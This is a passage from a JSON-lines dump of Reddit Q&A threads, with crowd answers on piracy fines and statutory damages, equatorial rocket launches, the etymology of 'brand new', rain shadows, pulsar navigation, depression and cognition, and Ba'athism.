distributes it to 1000 people then in theory that person has deprived the original distributor of 1000 copies of each song. This is the kind of piracy you see in places like China where people actively sell pirated copies of movies, music and software.\n\nOne of the primary means of pirating music is bit torrent. The bit torrent protocol has users both download and upload pieces of a file. The upload of the file in the eyes of the law takes you from making a copy to becoming a distributor of a pirated file.\n\nIt is only recently that (last 10-15) years that the file sharing type of piracy has taken off. The fact that the laws have not yet caught up to this new style of piracy coupled with a lack of understanding of technology by many law makers and lobbying by the industry means we get some of the ridiculous lawsuits and judgements like this. \n\nPersonally what I would like to see is for downloading an album to be treated more like shoplifting while the original uploader of the file/torrent is given the charges of distribution, but I think we are a long way off from that.", "He is accused of distributing the songs he downloaded to other people, so those people didn't have to buy the songs either and more money was lost for the music industry because of him. I don't know exactly how they calculate it but this is how they can justify this ridiculous fee. Also, they probably want to show other potential filesharers how their life can be ruined by their illegal activities.", "It starts when someone gets a letter from the post office or an email called a cease-and-desist.  When you get one of those, it usually means you have been caught doing something bad.  That doesn't mean the police want to arrest you or you are going to get thrown in jail with the bad guys, it just means they caught you, kinda like when you get caught with your hand in the cookie jar after you father tells you to stop eating cookies before dinner.\n\nWell, if you ignore your father and keep sneaking cookies and he keeps warning you, eventually you'll get a spanking, right?  It's just like that.  If a person who pirates gets a cease and desist and then keep doing it after multiple warnings, it looks bad in the eyes of the jury because it looks like you don't care about the law even after all those warnings.\n\nSo the fine was set really high as a way to punish this person to stop ignoring the law and to warn other people who ignore the law that if they get a warning, they should really stop.\n\nNow, I know your father and I have talked to you about right or wrong and that doesn't mean the law is always right or wrong... but if you repeatedly ignore warnings from the law without talking to the right people, you'll probably get in a lot of trouble.", "What a lot of other people don't say is that the $675,000 fine wasn't really for downloading songs. It was for *distributing* the songs. Lets say he put a song up online for people to download, and 1,000 people downloaded it. That would be $1000 (according to iTunes pricing) that the artist or record label didn't get. For 31 songs, it would be $31,000. And there's a very high chance each song was downloaded more than 1,000 times. ", "He's not paying for the songs, he's paying a fine for pirating and distributing them. If you steal $5 gas from a gas pump and are caught, the fine won't be for the exact amount you stole, it will be several hundred dollars.", "There are things called \"Statutory Damages\".  This basically means that it is a matter of law that some illegal action subjects you to being sued for up up to some dollar figure, *regardless of the actual damage you caused*.  In the case of piracy, you can be sued for up to a very large dollar figure per infringement.\n\nThe ELI5 of statutory damages is that this is just the rules.  If your mother says \"If you tap that fork on the table one more time, you are grounded for a month,\" that is a rule.  It does not matter whether it is fair or reasonable - she made the rules, so that's that.\n\nIn this case, it's the government that made the rules.  They made the rules based on a lot of lobbying and political motivations.  Maybe dad also hates the sound of the fork tapping the table, so he pressured mom to be harsh about it.\n\nThe statutory damages for music piracy are VERY high, and the organizations that own rights to sue over music know this.  They stand to make a lot of money thanks to the high figures they're allowed to sue for, so they do it.\n\nThis has *nothing* to do with the cost of the music.  It is also not related to damages to the rights holders - they do not have to be, and there's no reason to have statutory damage equal to actual damage (there's no need to specify that \"for each $1 of damage, you can sue for $1 of damage\").  It's supposed to discourage you in the strongest possible terms from behaving 'badly'.\n\nStatutory damages are not designed to be \"fair\".  They are designed to promote behaviors.  They are unfair in every way, by design, in order to make you act the way the law wants.", "TLDR: _URL_0_\n\nHe not just being charged for downloading he songs, that alone would probably be $31.00.\n\nThe fine he faces is due mainly to copyright infringement, he distributed copies of the songs through file sharing software. Not only that, he apparently received multiple warnings about the violation asking him to stop, and he did not. He then wiped his hard drive despite warnings to preserve the evidence.\n\nBasically he's broke the rules and he was a dick about it. They don't fine you $675,000 for downloading, they fine you $675,000 for wilfully distributing it to others, especially when they've contacted you and told you to stop doing it.", "Two words: Punitive Damages", "Well, the cost of a chocolate bar is $1. But the fine for shop lifting that chocolate bar is up to $2000 (in Canada, no idea about the US).\n\nIf someone is caught stealing they can't just go \"haha, sorry guys, I'll pay for it\". The purpose of the fine is to punish someone for breaking the law, not to pay for the loss they have caused. ", "It's not about the money. It's about sending a message. ", "I'm not sure if it's been asked, but I think an important question would also be, \"How was this guy chosen? Why were these 31 songs chosen?\"\n\nI doubt he downloaded ONLY 31 songs, why these songs? Were their artists the ones pushing for lawsuit? Obviously, millions of people pirate music; why was he any different?", "He didn't get in trouble for downloading them, he got in trouble for SEEDING them. That is the process of allowing others (usually just whoever goes on your torrent site) to download them from your computer. Most torrent users download a song and immediately stop seeding, typically nothing happens to these people as it isn't practical to prosecute them. It is important to note, however the average \"pirate\" will distribute no files in their life. What that leaves us with is these people who are seeding, taking the risk to provide a service to everyone else. Those are the big ticket items when it comes to anti-piracy. Just like drugs, you won't be able to get it if no one is willing to risk selling it.", "I've heard several arguments on this:\n\nFirst, we have poor policing. If you only have a 10% chance of being caught, then in order for crime not to pay, the fine has to be 10 times the cost of simply buying the song. If it's 1%, it has to be 100 times. If it's 0.05%, then 20 000 times the cost.\n\nSecond, it's reasonable the cost of policing should be placed upon the  perpetrators, as it's part of the damages their crime pays. If there's one thing we know, it's that policing copyright infringement is hard (==costly).\n\nFinally was what one bill proposed some years back that when you share a song (not download, but upload, but with bittorrent you generally will be doing them simultaneously), they like to assume that each person you share the song with will then share with two more people, and each of those two more. They (the RIAA) decided they wanted to charge you with several levels of this, which quickly grew to sizable damages.\n\nThe justifications of the fines is generally tenuous at best. People with a major vested interest in fighting piracy are willing to put a lot of resources into pushing policy, so resultant policy may be skewed.", "They were fined that much for sharing it (distribution) not piraitng it, I believe.", "The thing I'm not seeing explicitly in these replies is that he is being sued for uploading, not downloading.  He let other people download each song more than once so, absent punitive damages, the fine should still be much higher than $31.00.", "I got the following from a philosophy or economics class of some kind that I took back in the day:\n\nAll else equal (and this caveat is important), if it is easy to catch people in a crime, then the punishment can be relatively less severe. The high likelihood of getting caught acts as a deterrent to doing the crime so you don't need as severe of a punishment to have the deterrent effect.\n\nIn cases where it is not easy to catch people in a crime or where it is costly to catch everyone doing the crime, then people know that there is a high likelihood that they will get away with it.  If you want to stop people from doing this crime, then you have to make the punishment more severe so that they say, \"the likelihood of getting caught is low, but I don't want to face the consequences in the case that I do get caught, so I won't do the crime.\" This is why a drug dealer might have a really harsh sentence. Drug dealing might be difficult for police to catch but the harsh consequences of getting caught reduce the number of people that are willing to partake in the crime.\n\nSimilarly, in these piracy cases, by making the punishment really severe for the people that police *do* catch, the theory is that it will deter some people from engaging in piracy even though the odds of getting caught are so small.", "The legal punishments aren't for **getting** a single copy of the songs, the fine is for **giving away copies**.\n\nThe thing is, if you download them on BitTorrent, you're basically giving copies (or parts of copies) away at the same time, because that's how the download/upload system works.", "he uploaded them i.e. he shared them with everyone and tons of people did(?) use this service to get them for free.", "Okay, ELI5! Let's get hypothetical. Hypothetical... Let's say it's 1985, I'm an obsessive weirdo and I looooove the latest Michael Jackson record. I buy it and a crate of tapes. Then I make a hundred copies of the album on tape and start passing them out to people on the street and mumbling that it's really good.\n\nWhat did I do wrong and what's my debt to society?", "This is late to the party but, does anybody else have a problem with \"my inbox just got raped\"? I'm not a victim of rape, nor do I know any. It just seems to make the internet such an unfriendly place to people who might have been victims, or known them, to have the worst day in their lives equated to, \"holy crap, there are an unusual amount of orangereds in my email today.\"\n\nIt just seems super unclassy, and I'm a little surprised the Reddit community tolerates it.", "Who likes pie?\n\nWhen someone buys music on the internet today, they don't have to buy an entire album. Think of it like going to a bakery and asking for a single slice of cherry pie (yum!). If you want, you can also have a slice of blueberry pie, or even some pecan pie.\n\nBack when mommy and daddy were kids, online music didn't exist! Mommy and daddy had to go to a record store to buy music, and they couldn't just buy individual songs! They had to buy the WHOLE album, even the songs they didn't like so much.  This would be like going to the bakery and really wanting a slice of cherry pie, but the baker says, \"Sorry! I only sell whole pies. I can't sell you just once slice, silly!\"\n\nWhen someone gets caught pirating a song from the internet, the people that would normally get money from selling the record tell you to stop! If you keep misbehaving, they'll demand that you pay for the music.  If you went to the bakery and put your hand in a cherry pie and started eating the pie, what do you think the baker would do? That's right! He'd say, \"Hey! You didn't get permission to eat that pie! I want you to buy the WHOLE pie!\"\n\nEven if you only at once slice of pie, you did so without permission, and now the baker will make you buy the whole pie.  He'll even charge you for the pie tin and the pretty box that the pie would normally come in!\n\nNow, imagine that you took a pie without permission and then gave a little slice of that pie to all your friends, maybe even strangers. If the baker finds out, boy will he be mad!\n\nThe way the baker sees it, if all of your friends ate some of the pie you stole, then maybe he could have sold WHOLE pies to ALL of them!  So even though Today a slice of pie might cost a quarter, the baker will pretend it's like the days when mommy and daddy were kids, and you had to buy the whole pie!  If a whole pie costs a dollar, the baker will demand that YOU pay a dollar for every single one of the people that you shared the pie with!\n\nIf you pirate music on the internet and get caught, then you better have saved up your money from the tooth fairy!\n\n[For those that aren't five, maybe this will be less confusing:\n\nToday, iTunes charges a dollar for a single song. But that's not how studios count their losses. They count their losses as if you had stolen an entire CD, so if you only downloaded a single track from an album, they'll charge that you stole the whole album, because they count in full albums and not singles.  Back in the '90s, you could get a CD for about $15. Or at least, let's use that as the price for this example.\n\nIf you pirate five different songs from different albums, 5x15=$75!  And if you seed those downloads, the money adds up even faster. The record label will see you seeding as preventing the sale of that CD. Not the song, the WHOLE CD. So if 100 people on the internet download those 5 songs that you not only downloaded but also seeded, 75x100 = $7,500.\n\nA lot of people must have downloaded from the seeds this guy provided, and he could have provided up to 31 unique seeds, meaning 31 unique albums, at $15 a piece.]", "Not explaining the situation since this was answered - but do keep in mind that a lot of this is media and a lot of the time I've heard that they'll end up settling for a much lower amount for the defendant since there is no way most people could afford that. It's more about sending the message to others to not do the same, and that's what gets the media attention. Also - Sharing songs is much worse in the eyes of the legal system than just downloading them. Good question :-) and great answer Digiko!", "I think it has more to do with seeding. You are effectively distributing this song illegally to others. Much like drug dealing, you get a higher punishment for dealing rather than just consuming."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["http://i.imgur.com/RmnJ0.jpg"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3iw428", "title": "Why aren't most rockets launched from the equator ?", "selftext": "I started thinking about how the Earth rotates faster at the equator, and therefore Rockets would be 'picking up' some of the Earth's rotational speed, in reference to the inertial reference frame.\n\nI know that ESA has a launchpad pretty close to equator, even though most of the rocket parts are assembled in Europe.\n\nWhy doesn't almost every Space Agency use this method? I could imagine it would make for a more efficient launch, increasing payload capability or range of the rocket", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3iw428/why_arent_most_rockets_launched_from_the_equator/", "answers": {"a_id": ["cuk6v30", "cuk9i31", "cukc77k", "cukhekg", "cukrl6y"], "score": [73, 25, 13, 4, 4], "text": ["Yes, there is an advantage to launching near the equator, but there are other considerations. Cape Canaveral in Florida was chosen because it's far south  (nearer the equator) but still in the US and because they could launch out over the ocean in case something went wrong.  \n\nObviously not every nation can launch from the equator within their borders, so they usually just make the best of what they've got. ", "As others have mentioned, there are other considerations. But also consider the speed question: you gain the maximum amount at the equator, but nearly as much near the equator. The penalty isn't much until you're well away from it. (The speed gain varies with the cosine of the latitude, from a maximum at the equator to a minimum of zero at the poles.)\n\nSo, for small deviations from the equator, the penalty is mild. At the Cape (28.5 deg N) you get about 88% of the boost you'd get at the equator as compared to a polar launch. Moving to the equator would be worth an extra 56 m/s (~125 mph) of delta-V (or so). Out of a total delta-V budget of 9500 m/s or more, that isn't that big a penalty, even on the nasty slope of the exponential rocket equation.", "As an interesting aside, this is what [Sea Launch](_URL_0_) does. 36 launches since 1999, mostly successful. But, they went bankrupt in 2009, got bought by Russian investors in 2010 under the Chapter 11 reorg.", "First you need to understand that all of the orbits of the planets (except Pluto, (welcome back to the club you badass space rock)) are on a coincident plane. I.e. The path of everything could be drawn fairly accurately on a piece of paper. \n\nThe spin axis of the Earth is inclined 23.5 degrees from this plane.  It requires significantly less fuel if the craft does not have to do a trajectory adjustment (delta v manoeuvre ) to get on to this plane. \n\nAs such, in order to keep fuel requirements down, cost down, payload fraction up etc.. launches occur from as close to this plane as is possible. The plane is inclined 23.5 degrees from the equator. Question answered. \n\nThis isn't the whole story though. The Earth spins Eastward, and in the event of failure you don't want to be raining down hell fire over largely populated areas. There are political implications with launching things that could easily be armed into unfriendly airspace. The list goes on. \n\nGoogle ecliptic plane if you're interested in this. \nAlso the NASA website has some cool info on how thy select launch sites. ", "Except for India and France, none of the countries with orbital launch capability have any territory close to the Equator.\n\nThere are only two points where the Equator crosses a shore line with open ocean to the East, in Brazil and Somalia. There's also Indonesia, but with a lot of populated islands close by.\n\nOne can understand that Somalia isn't a good place to build a launch center. Brazil has a very limited launch rocket capability, but they do have a launch center in the state of Maranh\u00e3o, close to the Equator. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Sea_Launch#Advantages_of_equatorial_ocean-platform_based_launches"], [], []]}
{"q_id": "4fc9d3", "title": "why do we use the word \"brand\" as in a brand new car. what does it mean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4fc9d3/eli5why_do_we_use_the_word_brand_as_in_a_brand/", "answers": {"a_id": ["d27kr7g", "d27ks1r", "d27kszj"], "score": [12, 7, 5], "text": ["Most likely from [the connotation of glowing fresh from the forge](_URL_0_), though possibly fresh from the branding iron.\n\nSource: Googled **etymology brand new**", "The term likely originated from the term \"firebrand\" which is the glowing part of iron that's in the process of being forged.  In this case, brand new would mean so recently forged it's still cooling from the forging process which would be very, very new.  \n\nThere's a second theory that bran (the outer layer of most grains) was used as an early packing material, so the object was just out of the bran and had recently been received from the manufacturer.  ", "\"Brand new\" is from the renaissance era and probably is a metalworking reference, \"brand\" as in \"firebrand.\"  \n\nAs in, a brand new item is so fresh the iron's still glowing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wiktionary.org/wiki/brand_new"], [], []]}
{"q_id": "24sdyu", "title": "why does it always say \"menu options have changed\" when you call somewhere with an automated system? this simply has to be a lie, but why?", "selftext": "I have noticed this for many years and it happens 100% of the time. There's no way that literally everyone's menu options are changing that often.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/24sdyu/eli5why_does_it_always_say_menu_options_have/", "answers": {"a_id": ["cha707g", "cha7dks", "cha7okx"], "score": [3, 3, 2], "text": ["It's perfectly reasonable. When the message was originally recorded, the options had changed. That may have been 5 years ago now, but they just don't see the point in recording a new message just to remove that one part.", "To try to make you pay attention.", "They are also always experiencing greater than normal call volume for some reason... Not sure whose job it was to guestimate call volumes, but they should be flogged. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "531kfe", "title": "the uae wants an artificial mountain to increase rainfall", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/531kfe/eli5the_uae_wants_an_artificial_mountain_to/", "answers": {"a_id": ["d7p4c23", "d7pafke", "d7pdp0p", "d7pe1wg", "d7pfzbi", "d7pjokj", "d7pnugt", "d7pomno", "d7pv2yj", "d7px4ns", "d7qah38"], "score": [944, 57, 13, 41, 13, 3, 22, 7, 4, 2, 5], "text": ["The rainshadow effect.\n\nYou generally see deserts right next to mountains the Sahara is bordered by several mountain ranges, the Mojave has the Sierra Nevada mountains, and the Rocky mountains are next to the Alberta Badlands.\n\nMountains cause the moist air coming in from the sea to be forced up thousands of feet to pass over them, this results in the air cooling and the water condensing and falling.\n\nThis is why there is so much snow on mountaintops. It is also how you get dense, humid forests on one side of a mountain range and a desert on the other. Look at British Columbia vs Alberta. Or look at Southern China with lush landscapes and lakes and rivers vs Northern China in the Gobi Desert.\n\nThe mountain is essentially stealing the water from the air so there isn't any for the desert.\n\nThis is why storms that do happen in deserts tend to be sudden and extreme, it means that the moist air masses that make it over the mountains without condensing are massive and cold leading to heavy and extreme downpour.\n\nBuilding a mountain would be a way to increase your rainfall, something that's necessary with the growing population of the arid UAE.", "How can you build a mountain?", "Wouldn't building a mountain impact weather patterns across the globe?", "I live in Washington state.\n\n\nI see the affects of this kind of geography on weather and climate everyday.\n\n\nWe have two mountain ranges that rain fronts must travel over. \n\nThe Olympic range traps the major rain fronts right off the coast. This has created the one of the lushest temperate rainforest in the world. 140 to 170 inches a year fall in that forest.\n\nThe rain that makes it over this range eventually gets trapped again by the larger cascade range that splits the state in two. Seattle is nestled between these two ranges, and sees about 38-42 inches of rain a year.\n\nOver the cascades is eastern Washington which sees about 7 inches and most is snow. \n\nDepending on the height of the mountain/range the more or less rain you can trap, the more rain you trap the bigger shadow this creates.\n\nSeattle and Yakima are in rain shadows, but the amount of difference in precipitation is tremendous, because of difference in height of the mountains they are behind.", "Is this possible with current technology?", "Would it not be easier to practice cloud seeding with at least a modicum of success? To build an actual mountain that would be large enough to effect the weather seems incredibly wasteful and could look awful if it doesn't look natural. I'm just picturing a massive wall much like a dam\n\nEdit: didn't realize there weren't clouds at all :x", "Wouldn't it be funny if UAE built their mountain but for some unforeseen reason they end up being on the dry side and the other side which is probably owned by poor people ends up lush and green?\n\nHa!", "This mountain really only has to be a good size hill. I'm surprised that they don't just move there landfill to the mountian location and start pling trash, we have mountains of trash around here.\n\n this is cut and paste from another reddit comment.\n\n2) The feasibility of building a sufficiently large mountain. Yeah. Not so sure about this part. To affect local precipitation patterns the mountain/hill would probably have to be at least 100-200 ft high but also perhaps a mile wide. Again, UCAR is apparently studying the configuration and that'll play a role in whether or not Dubai goes forward with the plan.\n\n_URL_0_\n\n\n", "Are deserts important to the planet or would things be essentially the same if not better without them?", "Wouldn't the expense be better used for more efficient desalination?", "You mean Nepali, Indian, Sri Lankan workers will build it for them while working in 50 Celsius heat and constantly worrying about whether or not they will be paid last three months wages, then going back to the labour camp that will make you weep if you saw it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["https://www.reddit.com/r/worldnews/comments/4hfm9j/uae_to_build_artificial_mountain_to_improve/"], [], [], []]}
{"q_id": "vtcud", "title": "Does long term whiskey consumption really alter/lower your voice?", "selftext": "I've heard people say this is the case numerous times. Is there any truth to it?\nIf so, what causes this to happen?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vtcud/does_long_term_whiskey_consumption_really/", "answers": {"a_id": ["c57gq1x", "c57i0i5"], "score": [21, 47], "text": ["Follow-up question: if whisky consumption can lower the voice, is there anything that would be able to raise it?", "Physician (who loves whisky) here. What changes one's voice over time is not the alcohol but rather the untreated gastroesophageal reflux disease (GERD) (AKA heartburn). Alcohol, fatty food consumption, genetic predisposition, stress, amongst other things can cause GERD. When stomach acid hits your esophagus, your cough. And the cough along with the acid irritate the tissue in your larynx.\nOver the long run, that acid will wear down on your voicebox. Not so good. In fact, it's bad."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "157zed", "title": "Can pulsars be use to determine your position in the universe in long distance space traveling?", "selftext": "If you can find the direction and frequency of a few pulsars (with known positions) wouldn't you be able to make a gps-like system?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/157zed/can_pulsars_be_use_to_determine_your_position_in/", "answers": {"a_id": ["c7k2eu1", "c7k3hgq", "c7k51p4"], "score": [41, 4, 2], "text": ["Yes!\n\nThis is how the Voyager probe identified Earth's location on it's plaque.\n\n_URL_0_\n\nThose lines heading away from the central point are a binary representation of the spinning period of the pulsars, the line length corresponding to distance.\n\nThe voyager probe used 12 pulsars, in case whoever finds it can't see some of the pulsars. You could probably mark a place using this method with as few as 3, but preferably 6 pulsars.", "Yes, although the problem with pulsars as I understand it is that they rotate on an axis, so unless you happen to be perpendicular to the axis of rotation you won't see the pulsar's signal.\n\nSo basically there needs to be alot of pulsars around to get a good triangulation.", "What about Cepheid stars?\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.newscientist.com/data/galleries/dn16980-messaging-et/apioneernasa.jpg"], [], ["http://en.wikipedia.org/wiki/Cepheid_variable"]]}
{"q_id": "3yl03z", "title": "Do sleepwalkers still get rest while sleepwalking?", "selftext": "Will a sleepwalker wake up just as well rested as a person who does not sleepwalk. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3yl03z/do_sleepwalkers_still_get_rest_while_sleepwalking/", "answers": {"a_id": ["cyeshgs"], "score": [7], "text": ["From what I read about sleep in my psychology textbook, sleep walking doesn't happen in REM, rather it happens in an earlier stage of sleep. So if they were sleep walking for an extended period of time they wouldn't get their much needed REM sleep. I don't know if this means the person would eventually just fall into a deeper sleep wherever they are or if the activity would keep them from reaching REM.\n\nSomeone will come along and give you a better answer but until then, that is what I know of the subject."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "f24eyo", "title": "Can depression related cognitive decline be reversed?", "selftext": "As in does depression permanently damage your cognitive ability?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/f24eyo/can_depression_related_cognitive_decline_be/", "answers": {"a_id": ["fhcm17a", "fhauz0a", "fhb0uck", "fhb751m", "fhbejx5", "fhbn4dv"], "score": [3, 10, 3846, 96, 17, 25], "text": ["Clinical Psychology PhD student here. I am by no means an expert on this topic but here is what I found after taking a quick look through the literature: \n\n* As a lot of others have mentioned, depression is associated with a cognitive impairment in a number of areas (verbal/nonverbal memory, attention, concentration, verbal fluency). \n* It looks like there is some evidence that cognitive impairment does remit when the underlying mood disorder is treated, either through medication or cognitive behavioral therapy. \n* I also came across some studies that found that improvement in cognitive deficits can persist after remission of depressive symptoms or lag behind improvement of these symptoms. \n* The question gets even more complicated when you start to consider things like depression severity, age, education level (which ties to the concept of cognitive reserve), comorbid diagnoses, etc. For example, maybe it may be more difficult to regain cognitive function if your depression is more chronic and severe. \n\nSo tl;dr yes in some cases, but it's complicated. \n\nReally appreciated this question and I learned a bunch from trying to find an answer. Thanks for asking! \n\nSources: \n\n[_URL_4_](_URL_4_)\n\n[_URL_1_](_URL_1_)\n\n[_URL_0_](_URL_0_)\n\n[_URL_3_](_URL_3_)\n\n[_URL_2_](_URL_2_)", "20-25 minutes of moderate to high intensity cardio per day can stimulate your cognitive ability and literally rewire the brain and enhance it  [_URL_0_](_URL_0_)", "Neurologist and neuroscientist here.\n\nCognitive decline related to major depression is often referred to as pseudodementia and can indeed be reversed with treatment of the underlying mood disorder. \n\nIt may be worth noting that people experiencing cognitive decline and depression may have multiple factors contributing to the cognitive issues (medication, cerebrovascular, nutritional, early neurodegenerative issues all can contribute) so the degree of recovery is not always complete.", "Absolutely no one who commented gave a scientific  peer reviewed journal to support their claims. That being said, I would recommend talking with your doctor or psychiatrist if you see one. \n\nThis review research paper looks at multiple peer reviewed research papers. One thing I found really interesting about this review paper is that it states \u201c...chronic stress can be effectively reversed by chronic but not acute treatment with current antidepressant medications. \u201c which suggests that it\u2019s possible to reverse these negative effects of major depressive disorder from epigenetic factors. \n\nAlso in figure 1, it shows a number of different changes that occur with depression and highlights (in red) the changes that are reversed by chronic treatment with current antidepressants.\n\nThat being said, this review article didn\u2019t specify to what degree it is reversed and how  that research study defines chronic treatment. If you search in the reference page for the specific peer reviewed research articles, you may be able to find the degree to which this is reversed and how they define chronic treatment. This research review paper also notes that there is a negative correlation with major depressive disorder and a reduction of grey matter in the brain. \n\n\n_URL_0_", "Depression consists of slowing down of certain functions in the brain (i.e. certain functions are depressed).  Antidepressants reverse at least some of those functions.  The main reason most antidepressants come with suicide ideation warnings is that certain functions get restored before others (i.e. decisiveness before self-preservation).\n\nAt least SOME cognitive atrophy is reversed with antidepressants, but it is a slow process.\n\nThat being said, they don't block age-related, chronic cognitive decline:  _URL_0_\n\nYet in case of Alzheimer's, some antidepressants did slow down the decline:\n_URL_1_", "Neuropsychology post-grad student here (and undergoing clinical training).\n\nDepression does often affect some cognitive aspects, like memory, attention and processing speed. Like someone correctly mentioned here already, it is sometimes referred to as pseudodementia, such that it is a differential diagnosis for mild cognitive impairment or dementia itself.\n\nTreatment of depression should therefore result in improvements to the cognitive ability.\n\n[This case study showed improvement in functioning and behavior in a patient suffering from depressive pseudodementia following treatment.](_URL_0_)\n\n[Another case study of a woman with refractary depression showed improvement in symptoms and cognitive function after treatment.](_URL_2_)\n\n[Antidepressants showed improvements across measures of cognition.](_URL_1_)\n\n[Yoga therapy, alone or in combination with medications, is associated with improved neuropsychological functions and neuroplastic effects in patients with depression.](_URL_3_)\n\nHope this suffices."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.sciencedirect.com/science/article/pii/S0022395604000810", "https://www.karger.com/Article/FullText/492620", "https://www.cambridge.org/core/journals/psychological-medicine/article/cognitive-impairment-in-depression-a-systematic-review-and-metaanalysis/0EE176727AC50D44326A3D8DF2AB88A7", "https://www.sciencedirect.com/science/article/pii/S0165032713006861", "https://www.sciencedirect.com/science/article/pii/S0165032718329616"], ["https://www.ncbi.nlm.nih.gov/pubmed/31759829"], [], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3521990/#!po=0.359712"], ["https://www.sciencedirect.com/science/article/abs/pii/S0002934315000777", "https://www.karger.com/Article/PDF/121334"], ["http://www.jgmh.org/article.asp?issn=2348-9995;year=2018;volume=5;issue=2;spage=159;epage=161;aulast=Dua", "https://www.ncbi.nlm.nih.gov/pubmed/29673132", "https://www.ncbi.nlm.nih.gov/pubmed/31468568", "https://www.ncbi.nlm.nih.gov/pubmed/29736060"]]}
{"q_id": "97ee6b", "title": "What is Ba'athism? Is is Socialist, Fascist, something else or some weird combination?", "selftext": "My only experience with Ba'athism was knowing that it was Saddam's \"ideology\" and the Ba'ath party effectively served a role in the Iraqi state much like the Nazi party did within Germany, where membership in the party conferred access and was used for the leader as a buffer against potential internal threats in the government. I was surprised to learn that Assad's family is a Ba'ath party thing given how tense Iraq and Syria have been for ages. You'd think it would be more friendly, like how Hitler and Mussolini were friendly over shared ideological principles as well as mutual enemies. Despite that, my understanding is that Syria has generally remained out of much of the conflicts right up until the Arab Spring and was never particularly friendly or an ally to Saddam.\n\nI've also seen some of the more wacky types of socialists (\"tankies\") defending Ba'ath regimes as \"socialist\" which is pretty strange to me given that in any incarnation that I've actually seen them, they far more closely resemble a sort of muted fascism or vague nationalism than any sort of Marxist ideology. \n\nI've read that at one point it was nominally a socialist or communist ideology with a lot of \"true believers,\" and I'm curious about how that was true, what changed, what the Ba'ath party even is if it has any ideology today and so on.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/97ee6b/what_is_baathism_is_is_socialist_fascist/", "answers": {"a_id": ["e48pukh"], "score": [14], "text": ["Ba'athism is a mix of 'moderate' socialism, authoritarianism, and Arab nationalism, with elements of Islamic socialism and pan-Arabism. Although it drank from the same well as Fascism by being partially inspired by Nietzche, it is significantly more inspired by socialist thought, such as that of Marx, Lenin, and Blanqui.\n\nBasically, Ba'athism was a \"progressivized\" adaption of conservative Arab nationalism that looks to create an Arab cultural renaissance (Ba'ath literally translates to renaissance) and a single, pan-Arab state. The founder of Ba'athism, Michel Aflaq, saw that the Arab world had significantly declined since the Islamic Golden Age, and concluded that reactionary politics, foreign imperialism, intellectual backwardness, religious fundamentalism, and regional petty squabbles were the fault. He resolved that things couldn't be fixed by reform, so a vanguard of enlightened authoritarian progressives had to take over by hook or by crook, and restructure society.\n\nIn Marxist thought, feudalism naturally led to capitalism, which would in turn lead to socialism, which would in turn lead to communism. Aflaq partially disagreed. He thought that Middle Eastern feudalism and stratification was so intense, that liberal capitalist democracy wouldn't be able to breach and, and thus concluded that the Arab people should 'skip over' capitalism and go straight to socialism, which could economically bring about the Ba'ath (renaissance) much faster than capitalism could, and would also result in the end of economic dominance of any one group over another (except for the vanguard, which had to maintain control to look after the people, you see). In practice, Ba'athist countries such as Iraq and Syria nationalized major industry, such as oil, but allowed private enterprise to continue, and tried to avoid confiscating land and businesses. Ba'athist countries *did not* have a command economy completely controlled by the state, such as in the Soviet Union or North Korea. \n\nAs for the nationalism angle, one of the founding principles of Ba'athism was the creation of a pan-Arab state. Unlike Marx, Aflaq supported nationalism, and thought it could co-exist with socialism. While some Arab Ba'ahists and Ba'athist-similar leaders such as Nasser and Gaddafi supported pan-Arabism, later leaders such as Saddam Hussein and Hafez al-Assad paid lip service to the idea, but never pursued it. Due to geopolitical differences, Iraq and Syria were somewhat opposed despite both being Ba'athists. Its important to remember that until 1940, Nazi Germany and Fascist Italy disliked each other more than they liked each other, due to conflicting aspirations for Austria and the Balkans.\n\nUltimately, Ba'athism proved ideologically incompatible with both the Western World and the Eastern Bloc, and remained part of the non-aligned movement for most of the Cold War. They were too socialist for the United States, and they were too ideologically divergent from Marxism-Leninism-Stalinism for the Soviet Union.\n\nBa'athism isn't nearly as common today, considering Iraq and Libya were toppled by the US and Syria is crippled by civil war. Arguably, the only 'functional' Ba'athist or Ba'athist-similar state today is Egypt."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
